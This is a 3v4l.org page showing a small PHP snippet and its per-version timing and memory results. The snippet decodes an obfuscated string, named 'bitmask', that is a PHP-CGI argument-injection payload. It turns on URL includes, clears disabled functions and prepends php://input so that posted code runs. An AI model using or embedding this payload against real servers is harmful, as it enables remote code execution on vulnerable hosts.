3v4l.org

run code in 300+ PHP versions simultaneously
<?php $bitmask = "%s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" . "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" . "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" . "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" . "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" . "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" . "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" . "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" . "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" . "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" . "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" . "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E"; echo str_replace('%','', urldecode($bitmask)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01118.18
8.3.50.0130.00321.09
8.3.40.0110.00418.73
8.3.30.0030.01020.29
8.3.20.0070.00018.68
8.3.10.0000.00821.09
8.3.00.0040.00423.70
8.2.180.0140.00716.75
8.2.170.0140.00722.96
8.2.160.0070.00720.51
8.2.150.0060.00324.18
8.2.140.0070.00024.66
8.2.130.0040.00426.16
8.2.120.0030.00519.82
8.2.110.0040.00420.35
8.2.100.0070.00417.72
8.2.90.0000.00919.26
8.2.80.0080.00019.29
8.2.70.0030.00517.50
8.2.60.0000.00817.80
8.2.50.0050.00318.07
8.2.40.0080.00020.07
8.2.30.0040.00419.48
8.2.20.0000.00817.60
8.2.10.0000.00817.52
8.2.00.0030.00617.66
8.1.280.0030.01525.92
8.1.270.0050.00323.99
8.1.260.0070.00026.35
8.1.250.0050.00328.09
8.1.240.0060.00322.59
8.1.230.0070.00420.98
8.1.220.0040.00418.77
8.1.210.0050.00318.77
8.1.200.0060.00317.11
8.1.190.0000.00717.39
8.1.180.0040.00418.10
8.1.170.0070.00018.65
8.1.160.0050.00218.86
8.1.150.0090.00018.61
8.1.140.0070.00017.29
8.1.130.0000.00717.73
8.1.120.0070.00017.48
8.1.110.0070.00017.40
8.1.100.0040.00417.32
8.1.90.0000.00817.45
8.1.80.0030.00517.35
8.1.70.0000.00617.45
8.1.60.0030.00717.48
8.1.50.0050.00217.35
8.1.40.0080.00017.40
8.1.30.0070.00017.55
8.1.20.0040.00417.61
8.1.10.0040.00417.46
8.1.00.0030.00517.48
8.0.300.0030.00519.98
8.0.290.0040.00417.05
8.0.280.0000.00718.40
8.0.270.0070.00017.17
8.0.260.0030.00316.73
8.0.250.0000.00716.88
8.0.240.0000.00817.00
8.0.230.0070.00016.92
8.0.220.0000.00616.85
8.0.210.0040.00416.73
8.0.200.0030.00316.92
8.0.190.0050.00316.90
8.0.180.0050.00216.91
8.0.170.0030.00316.84
8.0.160.0080.00016.93
8.0.150.0040.00416.85
8.0.140.0080.00416.82
8.0.130.0030.00313.36
8.0.120.0030.00616.91
8.0.110.0050.00216.97
8.0.100.0030.00516.73
8.0.90.0040.00416.85
8.0.80.0090.00616.85
8.0.70.0000.00716.72
8.0.60.0000.00716.85
8.0.50.0000.00716.75
8.0.30.0090.00917.12
8.0.20.0090.01217.40
8.0.10.0000.00817.10
8.0.00.0110.01016.60
7.4.330.0030.00314.91
7.4.320.0000.00716.49
7.4.300.0000.00616.40
7.4.290.0030.00316.60
7.4.280.0060.00316.61
7.4.270.0000.00716.59
7.4.260.0040.00413.24
7.4.250.0000.00716.45
7.4.240.0050.00316.53
7.4.230.0040.00416.69
7.4.220.0120.00916.54
7.4.210.0050.00916.56
7.4.200.0040.00416.36
7.4.190.0000.00816.59
7.4.160.0080.00816.38
7.4.150.0030.01417.40
7.4.140.0130.00517.86
7.4.130.0110.00716.53
7.4.120.0120.00516.49
7.4.110.0150.00616.67
7.4.100.0030.01316.39
7.4.90.0060.01116.37
7.4.80.0100.00719.39
7.4.70.0140.00416.53
7.4.60.0060.00916.48
7.4.50.0020.00216.12
7.4.40.0040.01522.77
7.4.30.0070.01016.57
7.4.00.0090.00615.06
7.3.330.0030.00312.94
7.3.320.0020.00213.09
7.3.310.0040.00416.26
7.3.300.0000.00716.16
7.3.290.0100.00316.23
7.3.280.0050.01216.17
7.3.270.0070.01017.40
7.3.260.0130.00918.24
7.3.250.0080.00916.28
7.3.240.0060.01016.45
7.3.230.0060.01516.50
7.3.210.0070.01016.55
7.3.200.0120.00619.39
7.3.190.0060.01116.39
7.3.180.0090.00916.54
7.3.170.0060.01516.27
7.3.160.0140.00316.42
7.3.120.0100.00714.61
7.2.330.0170.00416.59
7.2.320.0100.00916.62
7.2.310.0030.01416.59
7.2.300.0110.00516.60
7.2.290.0060.00916.33
7.2.110.0390.00616.39
7.2.100.0270.00716.20
7.2.90.0510.00816.17
7.2.80.0430.01216.23
7.2.70.0350.00916.69
7.2.60.0120.01716.84
7.2.50.0250.00416.86
7.2.40.0100.02116.60
7.2.30.0180.00816.48
7.2.20.0180.01116.89
7.2.10.0280.00016.55
7.2.00.0260.00416.47
7.1.230.0340.00715.43
7.1.220.0260.00615.63
7.1.210.0500.01515.36
7.1.200.0600.01415.49
7.1.190.0160.02615.44
7.1.180.0210.00315.60
7.1.170.0160.01015.71
7.1.160.0100.01515.71
7.1.150.0180.00615.50
7.1.140.0170.00915.82
7.1.130.0190.00715.68
7.1.120.0170.00915.38
7.1.110.0130.00915.70
7.1.100.0110.00616.77
7.1.90.0160.00915.54
7.1.80.0210.00415.54
7.1.70.0100.00616.38
7.1.60.0160.01117.49
7.1.50.0150.01116.26
7.1.40.0180.01216.04
7.1.30.0150.01115.50
7.1.20.0190.01115.69
7.1.10.0160.01015.29
7.1.00.0110.02519.10
7.0.310.0550.00815.04
7.0.300.0140.00915.35
7.0.290.0130.01315.25
7.0.280.0160.00815.50
7.0.270.0190.00815.31
7.0.260.0140.00715.40
7.0.250.0160.00515.17
7.0.240.0150.01115.53
7.0.230.0160.00615.11
7.0.220.0090.01215.37
7.0.210.0170.00315.04
7.0.200.0100.00715.95
7.0.190.0130.00915.36
7.0.180.0190.00815.11
7.0.170.0180.00415.04
7.0.160.0210.00415.42
7.0.150.0190.00515.29
7.0.140.0110.04018.62
7.0.130.0170.00815.40
7.0.120.0120.01615.33
7.0.110.0180.00715.36
7.0.100.0130.01315.13
7.0.90.0080.04717.57
7.0.80.0110.04417.73
7.0.70.0360.02217.47
7.0.60.0300.04417.65
7.0.50.0260.03217.83
7.0.40.0150.04216.69
7.0.30.0130.05516.58
7.0.20.0100.04916.77
7.0.10.0100.04316.68
7.0.00.0080.02516.60
5.6.380.0310.00714.30
5.6.370.0340.00614.17
5.6.360.0180.00714.24
5.6.350.0160.00614.28
5.6.340.0130.01214.31
5.6.330.0130.01313.96
5.6.320.0080.01514.32
5.6.310.0140.01414.40
5.6.300.0140.01114.31
5.6.290.0160.00914.01
5.6.280.0140.03617.46
5.6.270.0230.00314.20
5.6.260.0120.01214.13
5.6.250.0160.00814.40
5.6.240.0110.01214.21
5.6.230.0120.04517.49
5.6.220.0110.04617.53
5.6.210.0090.03117.52
5.6.200.0100.04617.62
5.6.190.0110.04417.56
5.6.180.0110.04217.51
5.6.170.0130.02617.67
5.6.160.0120.02317.66
5.6.150.0070.02917.78
5.6.140.0080.04417.64
5.6.130.0190.03817.63
5.6.120.0220.04817.67
5.6.110.0200.02917.74
5.6.100.0190.04517.51
5.6.90.0220.04617.44
5.6.80.0250.02617.38
5.6.70.0210.03317.26
5.6.60.0180.03517.23
5.6.50.0120.04717.12
5.6.40.0230.03817.09
5.6.30.0230.04017.13
5.6.20.0160.04217.22
5.6.10.0130.02717.33
5.6.00.0140.03917.15
5.5.380.0090.00510.95
5.5.370.0070.02815.82
5.5.360.0120.03515.86
5.5.350.0070.04415.73
5.5.340.0120.02615.97
5.5.330.0100.04215.82
5.5.320.0080.02815.83
5.5.310.0100.02016.03
5.5.300.0060.04015.96
5.5.290.0150.04416.06
5.5.280.0150.04015.80
5.5.270.0160.04016.00
5.5.260.0130.04415.84
5.5.250.0230.01715.71
5.5.240.0120.04115.62
5.5.230.0090.02715.54
5.5.220.0150.03615.47
5.5.210.0070.02515.54
5.5.200.0130.03115.57
5.5.190.0160.03215.55
5.5.180.0100.03715.61
5.5.170.0120.01214.13
5.5.160.0070.02715.52
5.5.150.0080.02315.53
5.5.140.0140.03015.59
5.5.130.0070.04215.57
5.5.120.0110.03715.60
5.5.110.0080.04215.36
5.5.100.0090.02815.62
5.5.90.0110.04115.39
5.5.80.0140.02015.50
5.5.70.0080.04615.51
5.5.60.0140.02915.38
5.5.50.0070.04015.57
5.5.40.0090.04015.42
5.5.30.0060.02815.39
5.5.20.0090.02215.39
5.5.10.0100.03715.51
5.5.00.0090.02515.35
5.4.450.0070.04315.23
5.4.440.0140.04414.91
5.4.430.0130.03015.15
5.4.420.0150.04814.92
5.4.410.0100.04415.04
5.4.400.0080.04314.98
5.4.390.0150.03815.13
5.4.380.0170.03714.83
5.4.370.0120.04414.82
5.4.360.0180.03914.90
5.4.350.0100.02714.85
5.4.340.0120.02115.01
5.4.330.0130.00510.73
5.4.320.0080.02714.97
5.4.310.0060.02914.92
5.4.300.0080.04014.89
5.4.290.0060.04614.91
5.4.280.0090.02614.94
5.4.270.0110.03615.05
5.4.260.0100.02214.91
5.4.250.0080.02614.90
5.4.240.0070.03414.87
5.4.230.0100.03914.97
5.4.220.0100.04415.04
5.4.210.0080.02114.79
5.4.200.0090.02514.89
5.4.190.0120.03514.79
5.4.180.0070.04114.82
5.4.170.0090.04114.85
5.4.160.0040.04114.85
5.4.150.0070.02615.13
5.4.140.0080.04213.53
5.4.130.0120.02013.74
5.4.120.0120.02213.47
5.4.110.0070.03513.63
5.4.100.0070.03813.63
5.4.90.0040.02613.67
5.4.80.0070.02913.63
5.4.70.0080.03013.51
5.4.60.0090.02313.69
5.4.50.0160.02713.69
5.4.40.0090.04013.72
5.4.30.0040.04313.49
5.4.20.0090.03213.56
5.4.10.0090.02313.54
5.4.00.0100.03513.36
5.3.290.0120.03912.45
5.3.280.0090.03912.46
5.3.270.0100.02212.56
5.3.260.0070.02312.50
5.3.250.0090.03712.57
5.3.240.0110.03512.49
5.3.230.0050.02612.48
5.3.220.0050.04112.47
5.3.210.0090.02112.45
5.3.200.0100.02212.44
5.3.190.0110.03712.41
5.3.180.0080.03312.47
5.3.170.0120.04112.49
5.3.160.0110.03512.51
5.3.150.0080.02812.45
5.3.140.0060.04212.41
5.3.130.0060.04712.47
5.3.120.0090.03612.44
5.3.110.0080.04312.43
5.3.100.0110.03912.21
5.3.90.0090.02312.19
5.3.80.0100.03612.13
5.3.70.0050.04012.13
5.3.60.0100.03712.19
5.3.50.0080.04012.18
5.3.40.0100.04012.16
5.3.30.0050.02712.07
5.3.20.0100.03412.03
5.3.10.0050.03812.01
5.3.00.0070.02911.96
5.2.170.0070.02911.96
5.2.160.0080.01511.96
5.2.150.0050.04411.96
5.2.140.0070.02811.96
5.2.130.0080.03511.96
5.2.120.0060.02211.96
5.2.110.0070.02511.96
5.2.100.0070.02911.96
5.2.90.0030.03411.96
5.2.80.0000.02611.96
5.2.70.0030.02611.96
5.2.60.0070.02311.96
5.2.50.0030.02311.96
5.2.40.0060.02811.96
5.2.30.0120.02811.96
5.2.20.0050.02111.96
5.2.10.0030.02811.96
5.2.00.0070.02911.96
5.1.60.0020.03311.96
5.1.50.0030.02111.96
5.1.40.0040.01711.96
5.1.30.0030.01711.96
5.1.20.0100.01711.96
5.1.10.0060.01411.96
5.1.00.0060.02611.96
5.0.50.0030.01811.96
5.0.40.0070.02211.96
5.0.30.0030.01911.96
5.0.20.0090.01711.96
5.0.10.0020.02411.96
5.0.00.0090.02311.96
4.4.90.0070.01511.96
4.4.80.0020.02111.96
4.4.70.0040.01511.96
4.4.60.0020.02011.96
4.4.50.0000.01911.96
4.4.40.0020.02311.96
4.4.30.0030.01311.96
4.4.20.0010.01211.96
4.4.10.0030.01811.96
4.4.00.0050.02711.96
4.3.110.0040.01211.96
4.3.100.0030.01011.96
4.3.90.0070.01511.96
4.3.80.0020.03011.96
4.3.70.0040.01811.96
4.3.60.0040.01311.96
4.3.50.0040.01811.96
4.3.40.0000.02111.96
4.3.30.0000.01411.96
4.3.20.0020.02011.96
4.3.10.0030.01811.96
4.3.00.0000.02011.96

preferences:
37.76 ms | 401 KiB | 5 Q